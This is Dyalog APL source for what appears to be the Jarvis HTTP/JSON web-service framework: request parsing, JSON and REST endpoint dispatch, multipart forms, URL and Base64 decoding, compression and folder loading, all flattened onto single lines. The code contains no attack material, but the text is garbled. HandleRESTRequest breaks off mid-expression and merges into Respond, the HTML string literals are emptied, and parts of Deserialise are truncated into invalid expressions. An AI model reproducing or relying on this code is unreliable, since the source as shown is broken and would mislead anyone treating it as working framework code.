ErrorInfoLevel)←⎕THIS ErrorInfoLevel - ∇ - - ∇ ns HandleRequest req;data;evt;obj;rc;cert;fn - (rc obj evt data)←req ⍝ from Conga.Wait - :Hold obj - :Select evt - :Case 'HTTPHeader' - ns.Req←MakeRequest data - ns.Req.PeerCert←'' - ns.Req.PeerAddr←2⊃2⊃LDRC.GetProp obj'PeerAddr' - ns.Req.Server←⎕THIS - - :If Secure - (rc cert)←2↑LDRC.GetProp obj'PeerCert' - :If rc=0 - ns.Req.PeerCert←cert - :Else - ns.Req.PeerCert←'Could not obtain certificate' - :EndIf - :EndIf - - :Case 'HTTPBody' - ns.Req.ProcessBody data - :Case 'HTTPChunk' - ns.Req.ProcessChunk data - :Case 'HTTPTrailer' - ns.Req.ProcessTrailer data - :EndSelect - - :If ns.Req.Complete - :Select lc ns.Req.GetHeader'content-encoding' ⍝ zipped request? - :Case '' ⍝ no encoding - :If ns.Req.Charset≡'utf-8' - ns.Req.Body←'UTF-8'⎕UCS ⎕UCS ns.Req.Body - :EndIf - :Case 'gzip' - ns.Req.Body←⎕UCS 256|¯3 Zipper 83 ⎕DR ns.Req.Body - :Case 'deflate' - ns.Req.Body←⎕UCS 256|¯2 Zipper 83 ⎕DR ns.Req.Body - :Else - →resp⊣'Unsupported content-encoding'ns.Req.Fail 400 - :EndSelect - - :If _htmlEnabled∧ns.Req.Response.Status≠200 - ns.Req.Response.Headers←1 2⍴'Content-Type' 'text/html; charset=utf-8' - ns.Req.Response.Payload←'

',(⍕ns.Req.Response.((⍕Status),' ',StatusText)),'

' - →resp - :EndIf - - ⍝ Application-specified validation - stopIf DebugLevel 4+2×~0∊⍴ValidateRequestFn - rc←Validate ns.Req - ns.Req.Fail 400×(ns.Req.Response.Status=200)∧0≠rc ⍝ default status 400 if not set by application - →resp If rc≠0 - - fn←1↓'.'@('/'∘=)ns.Req.Endpoint - - fn RequestHandler ns ⍝ RequestHandler is either HandleJSONRequest or HandleRESTRequest - - resp: obj Respond ns - - :EndIf - :EndHold - ∇ - - ∇ fn HandleJSONRequest ns;payload;resp;valence;nc;debug;file;isGET - - →handle If~isGET←'get'≡ns.Req.Method - - :If AllowGETs ⍝ if we allow GETs - :AndIf ~'.'∊ns.Req.Endpoint ⍝ and the endpoint doesn't have a '.' (file extension) - →handle If 3=⌊|{0::0 ⋄ CodeLocation.⎕NC⊂⍵}fn ⍝ handle it if there's a matching function for the endpoint - :EndIf - - →End If'Request method should be POST'ns.Req.Fail 405×~_htmlEnabled - - →handleHtml If~0∊⍴_htmlFolder - ns.Req.Response.Headers←1 2⍴'Content-Type' 'text/html; charset=utf-8' - ns.Req.Response.Payload←'

400 Bad Request

' - →End If'Bad URI'ns.Req.Fail 400×~0∊⍴fn ⍝ either fail with a bad URI or exit if favicon.ico (no-op) - - :If 0∊⍴_htmlRootFn - ns.Req.Response.Payload←HtmlPage - :Else - ns.Req.Response.Payload←{1 CodeLocation.(85⌶)_htmlRootFn,' ⍵'}ns.Req - :EndIf - →End - - handleHtml: - :If (,'/')≡ns.Req.Endpoint - file←_htmlFolder,_htmlDefaultPage - :Else - file←_htmlFolder,('/'=⊣/ns.Req.Endpoint)↓ns.Req.Endpoint - :EndIf - file←∊1 ⎕NPARTS file - file,←(isDir file)/'/',_htmlDefaultPage - →End If ns.Req.Fail 400×~_htmlFolder begins file - :If 0≠ns.Req.Fail 404×~⎕NEXISTS file - →End If 0=Report404InHTML - ns.Req.Response.Headers←1 2⍴'Content-Type' 'text/html; charset=utf-8' - ns.Req.Response.Payload←'

Not found: ',(file↓⍨≢_htmlFolder),'

' - →End - :EndIf - ns.Req.Response.Payload←''file - 'Content-Type'ns.Req.DefaultHeader ns.Req.ContentTypeForFile file - →End - - handle: - →End If HandleCORSRequest ns.Req - →End If'No function specified'ns.Req.Fail 400×0∊⍴fn - →End If'Unsupported request method'ns.Req.Fail 405×(⊂ns.Req.Method)(~∊)(~AllowGETs)↓'get' 'post' - →End If'Cannot accept query parameters'ns.Req.Fail 400×AllowGETs⍱0∊⍴ns.Req.QueryParams - - :Select ns.Req.ContentType - - :Case 'application/json' - :Trap 0 DebugLevel 1 - ns.Req.Payload←{0∊⍴⍵:⍵ ⋄ JSONin ⍵}ns.Req.Body - :Else - →End⊣'Could not parse payload as JSON'ns.Req.Fail 400 - :EndTrap - - :Case 'multipart/form-data' - →End If'Content-Type should be "application/json"'ns.Req.Fail 400×~AllowFormData - :Trap 0 DebugLevel 1 - ns.Req.Payload←ParseMultipartForm ns.Req - :Else - →End⊣'Could not parse payload as "multipart/form-data"'ns.Req.Fail 400 - :EndTrap - - :Case '' - →End If'No Content-Type specified'ns.Req.Fail 400×~isGET∧AllowGETs - :Trap 0 DebugLevel 1 - :If 0∊⍴ns.Req.QueryParams - ns.Req.Payload←'' - :ElseIf 1=≢⍴ns.Req.QueryParams ⍝ name/value pairs - ns.Req.Payload←JSONin ns.Req.QueryParams - :Else - ns.Req.Payload←{JSONin{1⌽'}{',¯1↓∊'"',¨⍵[;,1],¨'":'∘,¨⍵[;,2],¨','}⍵}ns.Req.QueryParams - :EndIf - :Else - →0⊣'Could not parse query string as JSON'ns.Req.Fail 400 - :EndTrap - - :Else - →0⊣('Content-Type should be "application/json"',AllowFormData/' or "multipart/form-data"')ns.Req.Fail 400 - :EndSelect - - →End If CheckAuthentication ns.Req - - →End If('Invalid function "',fn,'"')ns.Req.Fail CheckFunctionName fn - →End If('Invalid function "',fn,'"')ns.Req.Fail 404×3≠⌊|{0::0 ⋄ CodeLocation.⎕NC⊂⍵}fn ⍝ is it a function? - valence←|⊃CodeLocation.⎕AT fn - nc←CodeLocation.⎕NC⊂fn - →End If('"',fn,'" is not a monadic result-returning function')ns.Req.Fail 400×(1 1 0≢×valence)>(0∧.=valence)∧3.3=nc - - resp←'' - :Trap 0 DebugLevel 1 - :Trap 85 - :If (2=valence[2])>3.3=nc ⍝ dyadic and not tacit - stopIf DebugLevel 2 - resp←ns.Req{0 CodeLocation.(85⌶)'⍺ ',fn,' ⍵'}ns.Req.Payload ⍝ intentional stop for application-level debugging - :Else - stopIf DebugLevel 2 - resp←{0 CodeLocation.(85⌶)fn,' ⍵'}ns.Req.Payload ⍝ intentional stop for application-level debugging - :EndIf - :Else ⍝ no result from the endpoint - :If 0∊⍴ns.Req.Response.Payload ⍝ no payload? - :AndIf 200=ns.Req.Response.Status ⍝ endpoint did not change the status - →End⊣ns.Req.Fail 204 ⍝ no content - :EndIf - :EndTrap - :Else - →End⊣ErrorInfo ns.Req.Fail 500 - :EndTrap - - →End If 204=ns.Req.Response.Status - - ⍝ Exit if - ⍝ ↓↓↓↓↓↓↓ no response from endpoint, - ⍝ and ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ endpoint did not set payload - ⍝ and ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ endpoint did not fail the request - →End If(0∊⍴resp)∧(0∊⍴ns.Req.Response.Payload)∧200≠ns.Req.Response.Status - - 'Content-Type'ns.Req.DefaultHeader DefaultContentType ⍝ set the header if not set - :If ∨/'application/json'⍷ns.Req.(Response.Headers GetHeader'content-type') ⍝ if the response is JSON - ns.Req.Response ToJSON resp ⍝ convert it - :Else - ns.Req.Response.Payload←resp - :EndIf - :If 0∊⍴ns.Req.Response.Payload - 'Content-Length'ns.Req.DefaultHeader 0 - :EndIf - End: - ∇ - - ∇ formData←ParseMultipartForm req;boundary;body;part;headers;payload;disposition;type;name;filename;tmp - boundary←crlf,'--',req.Boundary ⍝ the HTTP standard prepends '--' to the boundary - body←req.Body - formData←⎕NS'' - body←⊃body splitOnFirst boundary,'--' ⍝ drop off trailing boundary ('--' is appended to the trailing boundary) - :For part :In (crlf,body)splitOn boundary ⍝ split into parts - (headers payload)←part splitOnFirst crlf,crlf - (disposition type)←deb¨2↑headers splitOn crlf - (name filename)←deb¨2↑1↓disposition splitOn';' - name←'"'~⍨2⊃name splitOn'=' - tmp←⎕NS'' - :If {¯1=⎕NC ⍵}name - →0⊣'Invalid form field name for Jarvis'req.Fail 400 - :EndIf - filename←'"'~⍨2⊃2↑filename splitOn'=' - tmp.(Name Filename)←name filename - tmp.Content←payload - tmp.Content_Type←deb 2⊃2↑type splitOn':' - :If 0=formData.⎕NC name ⋄ formData{⍺⍎⍵,'←⍬'}name ⋄ :EndIf - formData(name{⍺⍎⍺⍺,',←⍵'})tmp - :EndFor - ∇ - - ∇ fn HandleRESTRequest ns;ind;exec;valence;ct;resp - →0 If HandleCORSRequest ns.Req - →0 If CheckAuthentication ns.Req - - :If ParsePayload - :Trap 0 DebugLevel 1 - :Select ns.Req.ContentType - :Case 'application/json' - ns.Req.Payload←JSONin ns.Req.Body - :Case 'application/xml' - ns.Req.(Payload←⎕XML Body) - :EndSelect - :Else - →0⊣('Unable to parse request body as ',ct)ns.Req.Fail 400 - :EndTrap - :EndIf - - ind←RESTMethods[;1](⍳nocase)⊂ns.Req.Method - →0 If ns.Req.Fail 405×(≢RESTMethods)'keep-alive'≡conx)∨'close'≡conx - close∨←2≠⌊0.01×res.Status ⍝ close the connection on non-2XX status - UseZip ContentEncode ns.Req - :Select 1⊃z←LDRC.Send obj(status,res.Headers res.Payload)close - :Case 0 ⍝ everything okay, nothing to do - :Case 1008 ⍝ Wrong object class likely caused by socket being closed during the request - ⍝ do nothing for now - :Else - Log'Respond: Conga error when sending response',GetIP obj - Log⍕z - :EndSelect - ns.⎕EX'Req' - ∇ - - ∇ UseZip ContentEncode req;enc - →End If 0=UseZip ⍝ is zipping enabled? - →End If 0∊⍴enc←req.AcceptEncodings ⍝ does the client accept zipped responses? - :If UseZip≤≢req.Response.Payload ⍝ payload exceeds size threshhold? - :Select ⊃enc - :Case 'gzip' - :Trap 0 - req.Response.Payload←2⊃3 ZipLevel Zipper sint req.Response.Payload - :Else - Log'ContentEncode: gzip content-encoding failed' - →End - :EndTrap - 'Content-Encoding'req.SetHeader'gzip' - :Case 'deflate' - :Trap 0 - req.Response.Payload←2⊃2 ZipLevel Zipper sint req.Response.Payload - :Else - Log'ContentEncode: deflate content-encoding failed' - →End - :EndTrap - 'Content-Encoding'req.SetHeader'deflate' - :Else - Log'ContentEncode: unsupported content-encoding - ',⊃enc ⍝ this should NEVER happen - :EndSelect - :EndIf - End: - ∇ - - :EndSection ⍝ Request Handling - - ∇ ip←GetIP objname - ip←{6::'' ⋄ ' (IP Address ',(⍕(_connections⍎⍵).IP),')'}objname - ∇ - - ∇ r←CheckFunctionName fn - ⍝ checks the requested function name and returns - ⍝ 0 if the function is allowed - ⍝ 404 (not found) either the function name does not exist, is not in IncludeFns (if defined), is in ExcludeFns (if defined) - :Access public - r←0 - :If 1<|≡fn - r←CheckFunctionName¨fn - :Else - fn←⊆,fn - →0 If r←404×fn∊AppInitFn AppCloseFn ValidateRequestFn AuthenticateFn SessionInitFn - :If ~0∊⍴_includeRegex - →0 If r←404×0∊⍴(_includeRegex ⎕S'%')fn - :EndIf - :If ~0∊⍴_excludeRegex - r←404×~0∊⍴(_excludeRegex ⎕S'%')fn - :EndIf - :EndIf - ∇ - - :class Request - GetFromTable←{(⍵[;1]⍳⊂,⍺)⊃⍵[;2],⊂''} - split←{p←(⍺⍷⍵)⍳1 ⋄ ((p-1)↑⍵)(p↓⍵)} ⍝ Split ⍵ on first occurrence of ⍺ - lc←0∘(819⌶) - deb←{{1↓¯1↓⍵/⍨~' '⍷⍵}' ',⍵,' '} - - ∇ {r}←{message}Fail status - ⍝ Set HTTP response status code and message if status≠0 - :Access public - :If r←0≠1↑status - :If 0=⎕NC'message' - :If 500=status - message←ErrorInfo - :Else - message←'' ⋄ :EndIf - :EndIf - message SetStatus status - :EndIf - ∇ - - ∇ make - ⍝ barebones constructor for interactive debugging (use Jarvis.MakeRequest '') - :Access public - :Implements constructor - makeResponse - ∇ - - ∇ make1 args;query;origin;length;param;value;type - ⍝ args is the result of Conga HTTPHeader event - :Access public - :Implements constructor - - (Method Input HTTPVersion Headers)←args - Headers[;1]←lc Headers[;1] ⍝ header names are case insensitive - Method←lc Method - - (ContentType param)←deb¨2↑(';'(≠⊆⊢)GetHeader'content-type'),⊂'' - ContentType←lc ContentType - (type value)←2↑⊆deb¨'='(≠⊆⊢)param - :Select lc type - :Case '' ⍝ no parameter set - Charset←(ContentType≡'application/json')/'utf-8' - :Case 'charset' - Charset←lc value - :Case 'boundary' - Boundary←value - :EndSelect - - Cookies←ParseCookies Headers - - AcceptEncodings←ParseEncodings GetHeader'accept-encoding' - - makeResponse - - (Endpoint query)←'?'split Input - - :Trap 11 ⍝ trap domain error on possible bad UTF-8 sequence - Endpoint←URLDecode Endpoint - QueryParams←ParseQueryString query - :If 'basic '≡lc 6↑auth←GetHeader'authorization' - (UserID Password)←':'split Base64Decode 6↓auth - :EndIf - :Else - Complete←1 ⍝ mark as complete - Fail 400 ⍝ 400 = bad request - →0 - :EndTrap - - length←GetHeader'content-length' - Complete←('get'≡Method)∧0=⊃⊃(//)⎕VFI length ⍝ we're a GET and there's no content-length or content-length=0 - Complete∨←(0∊⍴length)>∨/'chunked'⍷GetHeader'transfer-encoding' ⍝ or no length supplied and we're not chunked - ∇ - - ∇ makeResponse - ⍝ create the response namespace - Response←⎕NS'' - Response.(Status StatusText Payload)←200 'OK' '' - Response.Headers←0 2⍴'' '' - ∇ - - ∇ ProcessBody args - :Access public - Body←args - Complete←1 - ∇ - - ∇ ProcessChunk args - :Access public - ⍝ args is [1] chunk content [2] chunk-extension name/value pairs (which we don't expect and won't process) - Body,←1⊃args - ∇ - - ∇ ProcessTrailer args;inds;mask - :Access public - args[;1]←lc args[;1] - mask←(≢Headers)≥inds←Headers[;1]⍳args[;1] - Headers[mask/inds;2]←mask/args[;2] - Headers⍪←(~mask)⌿args - Complete←1 - ∇ - - ∇ r←Hostname;h - :Access public - :If ~0∊⍴h←GetHeader'host' - r←'http',(~Server.Secure)↓'s://',h - :Else - r←Server.Hostname - :EndIf - ∇ - - ∇ params←ParseQueryString query - params←0 2⍴⊂'' - →0⍴⍨0∊⍴query - :If '='∊query ⍝ contains name=value? - params←URLDecode¨2↑[2]↑'='(≠⊆⊢)¨'&'(≠⊆⊢)query - :Else - params←URLDecode query - :EndIf - ∇ - - ∇ r←ParseEncodings encodings - r←(⎕C(⊃¨';'(≠⊆⊢)¨','(≠⊆⊢)encodings~' '))∩'gzip' 'deflate' - ∇ - - ∇ cookies←ParseCookies headers;cookieHeader;cookie - :Access public shared - cookies←0 2⍴⊂'' - :For cookieHeader :In (headers[;1]≡¨⊂'cookie')/headers[;2] - :For cookie :In (({⍵↓⍨+/∧\' '=⍵}⌽)⍣2)¨';'(≠⊆⊢)cookieHeader - cookies⍪←2↑('='(≠⊆⊢)cookie),⊂'' - :EndFor - :EndFor - cookies←(⌽≠⌽cookies[;1])⌿cookies - ∇ - - ∇ r←URLDecode r;rgx;rgxu;i;j;z;t;m;⎕IO;lens;fill - :Access public shared - ⍝ Decode a Percent Encoded string https://en.wikipedia.org/wiki/Percent-encoding - ⎕IO←0 - ((r='+')/r)←' ' - rgx←'[0-9a-fA-F]' - rgxu←'%[uU]',(4×⍴rgx)⍴rgx ⍝ 4 characters - r←(rgxu ⎕R{{⎕UCS 16⊥⍉16|'0123456789ABCDEF0123456789abcdef'⍳⍵}2↓⍵.Match})r - :If 0≠⍴i←(r='%')/⍳⍴r - :AndIf 0≠⍴i←(i≤¯2+⍴r)/i - z←r[j←i∘.+1 2] - t←'UTF-8'⎕UCS 16⊥⍉16|'0123456789ABCDEF0123456789abcdef'⍳z - lens←⊃∘⍴¨'UTF-8'∘⎕UCS¨t ⍝ UTF-8 is variable length encoding - fill←i[¯1↓+\0,lens] - r[fill]←t - m←(⍴r)⍴1 ⋄ m[(,j),i~fill]←0 - r←m/r - :EndIf - ∇ - - base64←{⎕IO ⎕ML←0 1 ⍝ from dfns workspace - Base64 encoding and decoding as used in MIME. - bits←{,⍉(⍺⍴2)⊤⍵} ⍝ encode each element of ⍵ in ⍺ bits, and catenate them all together - part←{((⍴⍵)⍴⍺↑1)⊂⍵} ⍝ partition ⍵ into chunks of length ⍺ - 0=2|⎕DR ⍵:2∘⊥∘(8∘↑)¨8 part{(-8|⍴⍵)↓⍵}6 bits{(⍵≠64)/⍵}chars⍳⍵ ⍝ decode a string into octets - four←{ ⍝ use 4 characters to encode either - 8=⍴⍵:'=='∇ ⍵,0 0 0 0 ⍝ 1, - 16=⍴⍵:'='∇ ⍵,0 0 ⍝ 2 - chars[2∘⊥¨6 part ⍵],⍺ ⍝ or 3 octets of input - } - cats←⊃∘(,/)∘((⊂'')∘,) ⍝ catenate zero or more strings - cats''∘four¨24 part 8 bits ⍵ - } - - ∇ r←{cpo}Base64Encode w - ⍝ Base64 Encode - ⍝ Optional cpo (code points only) suppresses UTF-8 translation - ⍝ if w is numeric (single byte integer), skip any conversion - :Access public shared - :If 83=⎕DR w ⋄ r←base64 w - :ElseIf 0=⎕NC'cpo' ⋄ r←base64'UTF-8'⎕UCS w - :Else ⋄ r←base64 ⎕UCS w - :EndIf - ∇ - - ∇ r←{cpo}Base64Decode w - ⍝ Base64 Decode - ⍝ Optional cpo (code points only) suppresses UTF-8 translation - :Access public shared - :If 0=⎕NC'cpo' ⋄ r←'UTF-8'⎕UCS base64 w - :Else ⋄ r←⎕UCS base64 w - :EndIf - ∇ - - ∇ r←{table}GetHeader name - :Access Public Instance - :If 0=⎕NC'table' ⋄ table←Headers ⋄ :EndIf - table[;1]←lc table[;1] - r←(lc name)GetFromTable table - ∇ - - ∇ name DefaultHeader value - :Access public instance - :If 0∊⍴Response.Headers GetHeader name - name SetHeader value - :EndIf - ∇ - - ∇ r←{endpoint}MakeURI resource - :Access public instance - ⍝ make a URI for a RESTful resource relative to the request endpoint - :If 0≠⎕NC'endpoint' - r←Hostname,endpoint,∊'/',¨⍕¨⊆resource - :Else - r←Hostname,Endpoint,∊'/',¨⍕¨⊆resource - :EndIf - ∇ - - ∇ r←ErrorInfo - :Trap 0 - r←⍕ErrorInfoLevel↑⎕DMX.(EM({⍵↑⍨⍵⍳']'}2⊃DM)) - :Else - r←'' - :EndTrap - ∇ - - ∇ {(name value)}←name SetHeader value - :Access Public Instance - Response.Headers⍪←name(∊⍕value) - ∇ - - ∇ value←GetCookie name - :Access public instance - ⍝ retrieve a request cookie - value←(Cookies[;1]⍳⊆,name)⊃Cookies[;2],⊂'' - ∇ - - ∇ {status}←{statusText}SetStatus status - :Access public instance - :If status≠0 - :If 0=⎕NC'statusText' ⋄ statusText←'' ⋄ :EndIf - statusText←{0∊⍴⍵:⍵ ⋄ '('=⊣/⍵:⍵ ⋄ '(',⍵,')'}statusText - statusText←deb((HttpStatus[;1]⍳status)⊃HttpStatus[;2],⊂''),' ',statusText - Response.(Status StatusText)←status statusText - :EndIf - ∇ - - ∇ r←ContentTypeForFile filename;ext - :Access public instance - ext←⊂1↓3⊃⎕NPARTS filename - r←(ContentTypes[;1]⍳ext)⊃ContentTypes[;2],⊂'text/html' - r,←('text/html'≡r)/'; charset=utf-8' - ∇ - - :EndClass - - :Section SessionHandler - - MakeSessionId←{⎕IO←0 ⋄((0(819⌶)⎕A),⎕A,⎕D)[(?20⍴62),5↑1↓⎕TS]} - IsExpired←{⍺≤0: 0 ⋄ (Now-⍵)>(⍺×60000)÷86400000} - - ∇ r←DateToIDNX ts - ⍝ Date to IDN eXtended (will be replaced by ⎕DT when ⎕DT is in the latest 3 versions of Dyalog APL) - r←(2 ⎕NQ'.' 'DateToIDN'(3↑ts))+(0 60 60 1000⊥¯4↑7↑ts)÷86400000 - ∇ - - :EndSection - - :Section Utilities - - If←((0≠⊃)⊢)⍴⊣ ⍝ test for 0 return - isChar←{0 2∊⍨10|⎕DR ⍵} - toChar←{(⎕DR'')⎕DR ⍵} - stripQuotes←{'""'≡2↑¯1⌽⍵:¯1↓1↓⍵ ⋄ ⍵} ⍝ strip leading and ending " - deb←{{1↓¯1↓⍵/⍨~' '⍷⍵}' ',⍵,' '} ⍝ delete extraneous blanks - dlb←{⍵↓⍨+/∧\' '=⍵} ⍝ delete leading blanks - lc←0∘(819⌶) ⍝ lower case - uc←1∘(819⌶) ⍝ upper case - nameClass←{⎕NC⊂,'⍵'} ⍝ name class of argument - nocase←{(lc ⍺)⍺⍺ lc ⍵} ⍝ case insensitive operator - begins←{⍺≡(⍴⍺)↑⍵} ⍝ does ⍺ begin with ⍵? - ends←{⍺≡(-≢⍺)↑⍵} ⍝ does ⍺ end with ⍵? - match←{⍺ (≡nocase) ⍵} ⍝ case insensitive ≡ - sins←{0∊⍴⍺:⍵ ⋄ ⍺} ⍝ set if not set - stopIf←{1∊⍵:-⎕TRAP←0 'C' '⎕←''Stopped for debugging... (Press Ctrl-Enter)''' ⋄ shy←0} ⍝ faster alternative to setting ⎕STOP - show←{(2⊃⎕SI),'[',(⍕2⊃⎕LC),'] ',⍵} ⍝ debugging utility - - ∇ r←DyalogRoot - r←{⍵,('/\'∊⍨⊢/⍵)↓'/'}{0∊⍴t←2 ⎕NQ'.' 'GetEnvironment' 'DYALOG':⊃1 ⎕NPARTS⊃2 ⎕NQ'.' 'GetCommandLineArgs' ⋄ t}'' - ∇ - - ∇ r←MyAddr - :Access public shared - :Trap 0 - r←2 ⎕NQ #'TCPGetHostID' - :Else - r←'localhost' - :EndTrap - ∇ - - ∇ r←Now - r←DateToIDNX ⎕TS - ∇ - - ∇ r←InTerm;system - :Access Public Shared - ⍝ determine if interactive terminal is available - →0⍴⍨r←~0∊⍴2 ⎕NQ'.' 'GetEnvironment' 'RIDE_INIT' - →0⍴⍨r←'Win' 'Dev'≡system←3↑¨(⊂1 4)⌷'.'⎕WG'APLVersion' - r←('Lin' 'Dev'≡system)∧{0::0 ⋄ 1⊣⎕SH'test -t 0'}'' - ∇ - - ∇ r←fmtTS ts - r←,'G⊂9999/99/99 @ 99:99:99⊃'⎕FMT 100⊥6↑ts - ∇ - - ∇ r←a splitOn w - ⍝ split a where w occurs (removing w from the result) - r←a{⍺{(¯1+⊃¨⊆⍨⍵)↓¨⍵⊆⍺}(1+≢⍵)*⍵⍷⍺}w - ∇ - - ∇ r←a splitOnFirst w - ⍝ split a on first occurence of w (removing w from the result) - r←a{⍺{(¯1+⊃¨⊆⍨⍵)↓¨⍵⊆⍺}(1+≢⍵)*<\⍵⍷⍺}w - ∇ - - ∇ r←type ipRanges string;ranges - r←'' - :Select ≢ranges←{('.'∊¨⍵){⊂1↓∊',',¨⍵}⌸⍵}string splitOn',' - :Case 0 - →0 - :Case 1 - r←,⊂((1+'.'∊⊃ranges)⊃'IPV6' 'IPV4')(⊃ranges) - :Case 2 - r←↓'IPV4' 'IPV6',⍪ranges - :EndSelect - r←⊂(('Accept' 'Deny'⍳⊂type)⊃'AllowEndPoints' 'DenyEndPoints')r - ∇ - - ∇ r←isWin - ⍝ are we running under Windows? - r←'Win'≡3↑⊃#.⎕WG'APLVersion' - ∇ - - ∇ r←isRelPath w - ⍝ is path w a relative path? - r←{{~'/\'∊⍨(⎕IO+2×isWin∧':'∊⍵)⊃⍵}3↑⍵}w - ∇ - - ∇ r←isDir path - ⍝ is path a directory? - r←{22::0 ⋄ 1=1 ⎕NINFO ⍵}path - ∇ - - ∇ r←SourceFile;class - :If 0∊⍴r←4⊃5179⌶class←⊃∊⎕CLASS ⎕THIS - r←{6::'' ⋄ ∊1 ⎕NPARTS ⍵⍎'SALT_Data.SourceFile'}class - :EndIf - ∇ - - ∇ r←makeRegEx w - :Access public shared - ⍝ convert a simple search using ? and * to regex - r←{0∊⍴⍵:⍵ - {'^',(⍵~'^$'),'$'}{¯1=⎕NC('A'@(∊∘'?*'))r←⍵:('/'=⊣/⍵)↓(¯1×'/'=⊢/⍵)↓⍵ ⍝ already regex? (remove leading/trailing '/' - r←∊(⊂'\.')@('.'=⊢)r ⍝ escape any periods - r←'.'@('?'=⊢)r ⍝ ? → . - r←∊(⊂'\/')@('/'=⊢)r ⍝ / → \/ - ∊(⊂'.*')@('*'=⊢)r ⍝ * → .* - }⍵ ⍝ add start and end of string markers - }w - ∇ - - ∇ (rc msg)←{root}LoadFromFolder path;type;name;nsName;parts;ns;files;folders;file;folder;ref;r;m;findFiles;pattern - :Access public - ⍝ Loads an APL "project" folder - (rc msg)←0 '' - root←{6::⍵ ⋄ root}# - findFiles←{ - (names type hidden)←0 1 6(⎕NINFO⍠1)∊1 ⎕NPARTS path,'/',⍵ - names/⍨(~hidden)∧type=2 - } - files←'' - :For pattern :In ','(≠⊆⊢)LoadableFiles - files,←findFiles pattern - :EndFor - folders←{ - (names type hidden)←0 1 6(⎕NINFO⍠1)∊1 ⎕NPARTS path,'/*' - names/⍨(~hidden)∧type=1 - }⍬ - :For file :In files - :Trap 11 - 2(root ⍙FIX)'file://',file - :Else - msg,←'Unable to load file: ',file,⎕UCS 13 - :EndTrap - :EndFor - :For folder :In folders - nsName←2⊃1 ⎕NPARTS folder - ref←0 - :Select root.⎕NC⊂nsName - :Case 9.1 ⍝ namespace - ref←root⍎nsName - :Case 0 ⍝ not defined - ref←⍎nsName root.⎕NS'' - :Else ⍝ oops - msg,←'"',folder,'" cannot be mapped to a valid namespace name',⎕UCS 13 - :EndSelect - :If ref≢0 - (r m)←ref LoadFromFolder folder - r←rc⌈r - msg,←m - :EndIf - :EndFor - msg←¯1↓msg - rc←4××≢msg - ∇ - - ∇ {r}←{larg}(ref ⍙FIX)rarg;isArrayNotation;t;f;p - ⍝ ⎕FIX cover that accommodates Array Notation and .apla files - ⍝ revert to using ⎕FIX when it supports them - larg←{6::⍵ ⋄ larg}1 - isArrayNotation←{~0 2∊⍨10|⎕DR ⍵:0 ⋄ {(⊃⍵)∊d←'[''¯.⊂⎕⍬',⎕D:1 ⋄ (2⊃2↑⍵)∊d,'( '}(∊⍵)~⎕UCS 9 32} - :Trap 0 - :If 1=≡rarg - :AndIf 'file://'≡7↑rarg - :AndIf '.apla'≡lc⊃⌽p←⎕NPARTS f←7↓rarg - :If larg=2 - r←ref⍎(2⊃p),'←',0 Deserialise⊃⎕NGET f - :Else - r←ref⍎0 Deserialise⊃⎕NGET f - :EndIf - :ElseIf isArrayNotation 1↓∊(⎕UCS 13),¨⊆rarg - r←ref⍎0 Deserialise rarg - :Else - r←larg ref.⎕FIX rarg - :EndIf - :Else - ⎕SIGNAL⊂t,⍪⎕DMX⍎1⌽')(',∊⍕t←'EN' 'EM' 'Message' - :EndTrap - ∇ - - Deserialise←{ -⍝ Convert text to array - ⍺←⍬ ⍝ 1=execute expression; 0=return expression - ⎕IO←0 - Char←0 2∊⍨10|⎕DR - Num←2|⎕DR - Null←∧/⎕NULL≡¨⊢ ⍝ can't use ∧.= because = is pervasive on deep arrays - Ptr←6=10|⎕DR - Basic←Char∨Num∨Null - FirstNum←Num¨⊃⍤/⊢ - FirstNs←{9∊⎕NC'⍵'}¨⊃⍤/⊢ - - sysVars←'⎕CT' '⎕DIV' '⎕IO' '⎕ML' '⎕PP' '⎕RL' '⎕RTL' '⎕WX' '⎕USING' '⎕AVU' '⎕DCT' '⎕FR' - L←lc - - execute←FirstNum ⍺,1 - caller←FirstNs ⍺,⊃⎕RSI - q←'''' - SEP←'⋄',⎕UCS 10 13 - Unquot←{(⍺⍺ ⍵)×~≠\q=⍵} - SepMask←∊∘SEP Unquot - ParenLev←+\(ׯ3+7|¯3+'([{)]}'∘⍳)Unquot - Paren←1⌽')(',⊢ - Split←{1↓¨⍺⍺⊂Over(1∘,)⍵} - Over←{(⍵⍵ ⍺)⍺⍺(⍵⍵ ⍵)} - EachIfAny←{0=≢⍵:⍵ ⋄ ⍺ ⍺⍺¨⍵} - EachNonempty←{⍺ ⍺⍺ EachIfAny Over((×≢¨⍵~¨' ')/⊢)⍵} - Parse←{ - 0=≢⍵:'' - bot←0=⍺ - (2≤≢⍵)>∨/¯1↓bot:⍺ SubParse ⍵ - p←bot×SepMask ⍵ - ∨/p:∊{1=≢⍵:',⊂',⍵ ⋄ ⍵}⍺(Paren ∇)EachNonempty Over(p Split)⍵ - p←2(1,>/∨¯1↓0,pl):'Unmatched brackets'⎕SIGNAL 2 - ∨/(pl=0)×SepMask w:'Multi-line input'⎕SIGNAL 11 - (⊃⎕RSI)Execute⍣execute⊢pl Parse w ⍝ materialise namespace as child of calling namespace - } - - :EndSection - - :Section HTML - ∇ r←ScriptFollows - ⍝ return the subsequent block of comments as a text script - r←{⍵/⍨'⍝'≠⊃¨⍵}{1↓¨⍵/⍨∧\'⍝'=⊃¨⍵}{⍵{((∨\⍵)∧⌽∨\⌽⍵)/⍺}' '≠⍵}¨(1+2⊃⎕LC)↓↓(180⌶)2⊃⎕XSI - r←2↓∊(⎕UCS 13 10)∘,¨r - ∇ - - ∇ r←{path}EndPoints ref;ns - :Access public - :If 0=⎕NC'path' ⋄ path←'' - :Else ⋄ path,←'.' - :EndIf - r←path∘,¨{(⊂'')~⍨⍵.{⍵/⍨1 1 0≡×|⎕IO⊃⎕AT ⍵}¨⍵.⎕NL ¯3}ref ⍝ limit to result-returning monadic/dyadic/ambivalent functions - :For ns :In ref.⎕NL ¯9.1 - r,←(path,ns)EndPoints ref⍎ns - :EndFor - ∇ - - ∇ r←HtmlPage;endpoints - :Access public - r←ScriptFollows - endpoints←{⍵/⍨0=CheckFunctionName ⍵}EndPoints CodeLocation - :If 0∊⍴endpoints - endpoints←'No Endpoints Found' - :Else - endpoints←∊{''}¨'/'@('.'=⊢)¨endpoints - endpoints←'' - :EndIf - r←endpoints{i←⍵⍳'⍠' ⋄ ((i-1)↑⍵),⍺,i↓⍵}r - r←⎕UCS'UTF-8'⎕UCS r - ∇ - 